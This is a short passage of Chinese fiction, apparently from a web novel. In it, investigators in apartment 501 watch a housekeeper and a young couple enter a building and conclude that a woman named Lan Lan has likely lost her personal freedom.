寒风吹得玻璃隐约晃动,发出“咯吱咯吱”的涩响,天色在一瞬间变得更加阴沉。 501的客厅沙发上,庄宁屿用毛毯裹住酸疼的膝盖,继续翻一本前任房主留下的旧书。青岗站在窗边往外看:“庄队,有情况,小易在跟一个大婶。” 大婶就是201的保姆,她一次性在菜市场采购了许多东西,沉甸甸两大袋,拎得有些吃力。易恪紧走两步,正准备上去帮忙,结果斜里却杀出来一对小情侣,两人嘻嘻哈哈的,看起来和大婶很熟,自然而然就接过购物袋,一起说说笑笑进了单元门。 易恪站在院子里等了片刻,直到看到2单元201和301分别亮起了灯,才转身继续巡逻工作。 “蓝岚不是独居。”青岗也正在看那两盏昏黄的灯,他搓了搓手指上的饼干渣,转身问,“那她和谁住一起,大婶还是那两个年轻人?” “大婶吧,应该是保姆。”庄宁屿抬起头,把手里的书顺势放在茶几上,“她现在应该已经丧失了人身自由。”